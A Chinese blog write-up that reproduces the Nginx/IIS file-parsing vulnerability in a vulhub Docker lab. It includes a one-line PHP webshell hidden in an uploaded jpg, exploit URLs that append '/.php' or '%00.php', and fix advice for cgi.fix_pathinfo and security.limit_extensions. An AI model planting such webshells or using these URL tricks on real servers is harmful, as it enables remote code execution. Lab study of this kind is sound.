当前位置: 首页 > news >正文

Nginx 文件解析漏洞复现

一、漏洞说明
Nginx文件解析漏洞算是一个比较经典的漏洞,接下来我们就通过如下步骤进行漏洞复现,以及进行漏洞的修复。
版本条件:IIS 7.0/IIS 7.5/ Nginx <8.03
二、搭建环境
cd /vulhub/nginx/nginx_parsing_vulnerability
docker-compose up -d
在这里插入图片描述在这里插入图片描述

三、漏洞特征
访问:http://192.168.25.128/uploadfiles/nginx.png
在这里插入图片描述

然后我们输入/.php,可以发现并没有出现文件为找到,而是出现了php的配置信息
在这里插入图片描述

四、漏洞复现
使用界面的上传功能上传一个jpg图片马,jpg内容是@eval($_POST[“fname”]);
在这里插入图片描述

点击上传后
在这里插入图片描述

然后访问:
http://192.168.25.128/uploadfiles/b82ae21729b331095eb02a213284320d.jpg/.php
在这里插入图片描述

五、修复建议
1.php.ini配置文件中的cgi.fix_pathinfo=1设置为0
2.security.limit_extensions=./php
六、Nginx <8.03 空字节代码执行漏洞
影响版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
当使用PHP-FastCGI执行PHP时,遇到url里面存在%00空字节时与FastCGI的处理不一致,导致可在非PHP文件中嵌入PHP代码,通过访问url+%00.PHP来执行其中的PHP代码。
例如:"http://127.0.0.1/1.jpg%00.php"会把1.jpg文件(木马文件)当做PHP文件来执行。xxx.jpg%00.php

http://www.lryc.cn/news/169760.html

相关文章:

  • Lombok依赖
  • XML 和 JSON 学习笔记(基础)
  • L1-005 考试座位号分数 15
  • 无涯教程-JavaScript - CEILING.MATH函数
  • ChatGPT提示词(prompt)资源汇总
  • MySQL 几种导数据的方法与遇到的问题
  • (21)多线程实例应用:双色球(6红+1蓝)
  • 升级OpenSSL并进行编译安装
  • Spring整合RabbitMQ
  • MySQL——事务和视图
  • 做好制造项目管理的5个技巧
  • JavaScript中While循环
  • python经典百题之乒乓球比赛
  • 【C++ Exceptions】Catch exceptions by reference!
  • 高斯公式证明
  • 速卖通获得aliexpress商品详情 API 返回值说明
  • c++语法-模板
  • DMNet复现(一)之数据准备篇:Density map guided object detection in aerial image
  • k8s相关命令-命名空间
  • CG Magic分享同一场景里下,VR渲染器和CR渲染器哪个好?
  • Hive工作原理
  • vue 使用this.$set设置对象属性值时,不更新试图
  • uniapp视频播放功能
  • Java面向对象七大原则以及设计模式单例模式和工厂模式简单工厂模式
  • Linux 遍历目录(cd 命令)
  • 整合Nginx实现反向代理
  • Linux:IP转INT详解
  • 43.MQ—RabbitMQ
  • Leetcode154. 寻找旋转排序数组中的最小值(存在重复元素)
  • docker查看镜像的latest对应的具体版本